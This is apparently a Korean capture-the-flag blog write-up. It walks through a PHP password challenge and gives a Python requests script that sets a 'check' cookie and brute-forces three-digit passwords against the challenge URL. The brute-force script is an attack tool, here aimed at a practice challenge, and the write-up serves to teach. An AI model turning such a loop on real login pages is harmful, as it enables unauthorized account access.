문제를 보자.
Password를 맞추는 문제인것 같다.
index.phps가 아닌 해당 페이지의 소스코드를 보자.
소스코드를 보면 입력하는 pw의 최대 길이가 3이다.
따라서 패스워드의 총 길이는 3자리라는것이다.
이제 index.phps 소스 코드를 보자.
우리가 중요하게 봐야할것은 역시 php 코드이다.
<?php
if($_POST[pw])
{
$password="????";
if(!$_COOKIE[check]) exit("access denied");
if(eregi("[^0-9]",$_POST[pw])) exit();
if($_POST[pw]>1000) exit();
if($_POST[pw]==???)
{
echo("Password is $password");
exit();
}
else echo("Wrong");
}
?>
일단 if문에 들어가기 위해서는 pw가 무조건 어떤 값이 들어가야 한다는것이다.
그런 다음 if(!$_COOKIE[check]) exit("access denied");라는 코드가 있다.
이 코드는 뭘까? 생각을 해보았는데
"check"라는 쿠기값이 만약 존재하지 않는다면 exit("access denied"); 가 출력되며 프로그램이 종료된다.
일단 123를 입력해보자.
123를 입력하면 "access denied"가 뜨면서 종료된다.
즉, if(!$_COOKIE[check]) exit("access denied"); 여기에 코드가 걸려 종료된다는 의미이다.
따라서 "check"라는 쿠키 이름을 가진 0이 아닌 값이 존재하고 값이 있어야지만
if(!$_COOKIE[check]) exit("access denied");를 넘어가 프로그램이 종료되지 않는다.
만약 if(!$_COOKIE[check]) exit("access denied");를 통과 했다고 가정하면
다음 코드를 보자.
다음 코드는 if(eregi("[^0-9]",$_POST[pw])) exit(); 이것이다.
eregi()를 SQL Injection에서 설명을 따로 자세히했다.
eregi() 함수는 문자열을 필터링하는 함수이다.
[0-9]는 숫자를 의미하지만 앞에 ^가 있다.
^를 의미하는것은 숫자가 아닌 경우 프로그램을 종료시키겠다는것이다.
이것으로 보아 우리가 원하는 패스워드는 3자리 숫자이다.
이것을 이제 코드로 나타내보자.
import requests
for i in range(1,1000):
print("시도: " + str(i))
datas = {"pw": str(i)}
cookie = {'check': '1'}
get_pw = ("문제 URL")
html = requests.post(get_pw, data=datas, cookies=cookie).text
if "Wrong" in html:
continue
else:
print(i)
print(html)
break
만약 응답 페이지에서 "Wrong"이 발견되지 않는다면 패스워드를 찾았다는 의미이므로
시도한 숫자 3자리가 패스워드를 의미한다.
프로그램에서 출력되는 패스워드를 입력하면 우리가 원하는 flag 값을 볼 수 있다.
'웹 해킹 > Coding' 카테고리의 다른 글
Coding 2번. (0) | 2020.12.13 |
---|---|
Coding 1번. (0) | 2020.12.12 |